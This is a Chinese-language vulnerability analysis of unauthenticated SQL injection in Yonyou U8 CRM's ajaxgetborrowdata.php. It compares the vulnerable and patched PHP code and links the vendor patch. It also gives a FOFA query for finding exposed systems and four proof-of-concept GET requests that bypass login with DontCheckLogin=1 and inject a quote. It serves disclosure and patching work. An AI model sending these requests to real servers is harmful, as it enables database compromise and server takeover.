漏洞简介
用友U8 CRM客户关系管理系统是一款专业的企业级CRM软件,旨在帮助企业高效管理客户关系、提升销售业绩和提供优质的客户服务。用友 U8 CRM客户关系管理系统 ajaxgetborrowdata.php 文件存在SQL注入漏洞,未经身份验证的攻击者通过漏洞执行任意SQL语句,调用xp_cmdshell写入后门文件,执行任意代码,从而获取到服务器权限。
影响版本
V18, V16.5, V16.1, V16.0, V15.1, V13
fofa语法
title="用友U8CRM"
漏洞分析
根据官方漏洞通告

可知漏洞原因为sql注入导致的命令注入攻击。
那直接看 U8SOFT/turbocrm70/code/www/borrowout/ajaxgetborrowdata.php 修复前后的差异
当 Action=getCusInfo 时

可以看到修复版本删除了拼接 cus 进sql语句部分,以及当 Action=getWarehouseOtherInfo 时

case "getWarehouseOtherInfo":
$bWhPos='0'; ;
try
{
$cWhCode = isset ($_GET['cWhCode'])?$_GET['cWhCode']:$_POST['cWhCode'] ;
//$sql="select case when bWhPos = 1 then '1' else '0' end bWhPos from Warehouse where cWhCode ='".$cWhCode."'";
//$rs = $gblDB->query($sql);
$stmt = new TSQLStmt();
$stmt->Table('Warehouse','a');
$stmt->Select('a','bWhPos');
$stmt->Cond("a","cWhCode",$cWhCode);
$sql = $stmt->SQLGen();
$rs = $gblDB->Query($sql);
是对 cWhCode 进行参数化查询处理,而不是直接拼接进SQL语句中,以及当 Action=ChangeIexchrate 时

case "ChangeIexchrate":
$uflogin = $gblObj->getUfLogin() ;
$dbc = $uflogin->UfCurrentDb();
$Crrency = isset ($_GET['Crrency'])?$_GET['Crrency']:$_POST['Crrency'] ;
// $sql = "select * from foreigncurrency where cexch_name = '".$Crrency."'";
// $rs = $gblDB->query($sql);
$stmt = new TSQLStmt();
$stmt->Table('foreigncurrency','a');
$stmt->Select('a','iotherused');
$stmt->Cond("a","cexch_name",$Crrency);
$sql = $stmt->SQLGen();
$rs = $gblDB->Query($sql);
可以看到没有修复之前是直接将 Crrency 拼接进sql语句中,无任何过滤和校验,造成sql注入漏洞。
以及当 Action=getCusPrice 时
case "getCusPrice":
$UpAutoID = isset ($_GET['i'])?$_GET['i']:$_POST['i'] ;
$inum = isset ($_GET['n'])?$_GET['n']:$_POST['n'] ;
$iquantity = isset ($_GET['q'])?$_GET['q']:$_POST['q'] ;
$itaxrate = isset ($_GET['t'])?$_GET['t']:$_POST['t'] ;
$iinvexchrate = isset ($_GET['c'])?$_GET['c']:$_POST['c'] ;
$bObjectCode = isset ($_GET['cus'])?$_GET['cus']:$_POST['cus'] ;
$itax1 = isset ($_GET['x'])?$_GET['x']:$_POST['x'] ;
$iexchrate = isset ($_GET['r'])?$_GET['r']:$_POST['r'] ;
$Currency = isset ($_GET['m'])?$_GET['m']:$_POST['m'] ;
if (empty($UpAutoID)) $UpAutoID = 0;
if (empty($inum)) $inum = 1;
if (empty($iquantity)) $iquantity = 1;
if (empty($itaxrate)) $itaxrate = 17;
if (empty($iinvexchrate)) $iinvexchrate = 1;
if (empty($itax1)) $itax1 = 17;
if (empty($iexchrate)) $iexchrate = 1;
// if (!empty($Currency)) $Currency = crmChar($Currency);
if (!empty($bObjectCode)) $bObjectCode = substr($bObjectCode,1);
$cBusType = crmChar("普通销售");
$arr=array();
if (trim($UpAutoID)!="")
{
$tmpTablNamehead = "tmpCrmBorrowChangeHead".mt_rand(100000,999999) ;
$tmpTablNamebady = "tmpCrmBorrowChangeBady".mt_rand(100000,999999) ;
$strHeadsql="select N'".$cBusType."' AS cBusType,N'' AS cSTCode,N'' AS cSTName, ";
$strHeadsql=$strHeadsql." ".$iexchrate." AS itax1, N'' AS crdcode, N'' AS rrdcode, N'' as ccoutname, " ;
$strHeadsql=$strHeadsql." ID,cCODE,cType,(select top 1 cCusCode from Customer where cCusCode='".$bObjectCode."' or cCusAbbName='".$bObjectCode."' or cCusName='".$bObjectCode."' ) as bObjectCode,cpersoncode,cdepcode,cmemo,cMaker,cHandler,CloseUser,N'".$Currency."' as cexch_name, ";
$strHeadsql=$strHeadsql." ".$iexchrate." as iexchrate,IntoUser,iverifystate,ddate,dVeriDate,dCloseDate,dmDate,dIntoDate,iStatus, ";
$strHeadsql=$strHeadsql." (select top 1 cCusName from Customer where cCusCode='".$bObjectCode."' or cCusAbbName='".$bObjectCode."' or cCusName='".$bObjectCode."' ) as bObjectName,iswfcontrolled,ireturncount,cdefine1,cdefine2,cdefine3,cdefine5,cdefine7, ";
$strHeadsql=$strHeadsql." cdefine8,cdefine9,cdefine10,cdefine11,cdefine12,cdefine13,cdefine14,cdefine15,cdefine16, ";
$strHeadsql=$strHeadsql." cdefine4,cdefine6,ufts,cCreateType,cContactperson,cContactWay,cfreight,cfreightType,cfreightCompany, ";
$strHeadsql=$strHeadsql." cfreightCost,cAboutVoucher,cCodeAboutVoucher,MycdefineT1,MycdefineT2,MycdefineT3,MycdefineT4, ";
$strHeadsql=$strHeadsql." MycdefineT5,MycdefineT6,MycdefineT7,MycdefineT8,MycdefineT9,MycdefineT10,DownstreamCode, ";
$strHeadsql=$strHeadsql." UpStreamCode,cdepname,cpersonname,bObjectName2,bObjectCode2,cVoucherId,VoucherId,VoucherCode, ";
$strHeadsql=$strHeadsql." VoucherType,bCusDomestic,cborrowouttype,soType into ".$tmpTablNamehead." ";
$strHeadsql=$strHeadsql." from V_HY_DZ_BorrowOutPrice_CRM where ID= (select top 1 ID from HY_DZ_BorrowOutS where AutoID = '".$UpAutoID."')";
$UpAutoID 也是直接拼接进SQL语句中,造成sql注入漏洞。
漏洞复现
GET /borrowout/ajaxgetborrowdata.php?DontCheckLogin=1&Action=getCusInfo&cus=' HTTP/1.1
Host: u8crm.mrxn.net
GET /borrowout/ajaxgetborrowdata.php?DontCheckLogin=1&Action=getWarehouseOtherInfo&cWhCode=' HTTP/1.1
Host: u8crm.mrxn.net
GET /borrowout/ajaxgetborrowdata.php?DontCheckLogin=1&Action=ChangeIexchrate&Crrency=' HTTP/1.1
Host: u8crm.mrxn.net
GET /borrowout/ajaxgetborrowdata.php?DontCheckLogin=1&Action=getCusPrice&i=' HTTP/1.1
Host: u8crm.mrxn.net
参考
https://security.yonyou.com/#/patchInfo?identifier=dbed49af1ced41e89fcc67d35e5df6c9


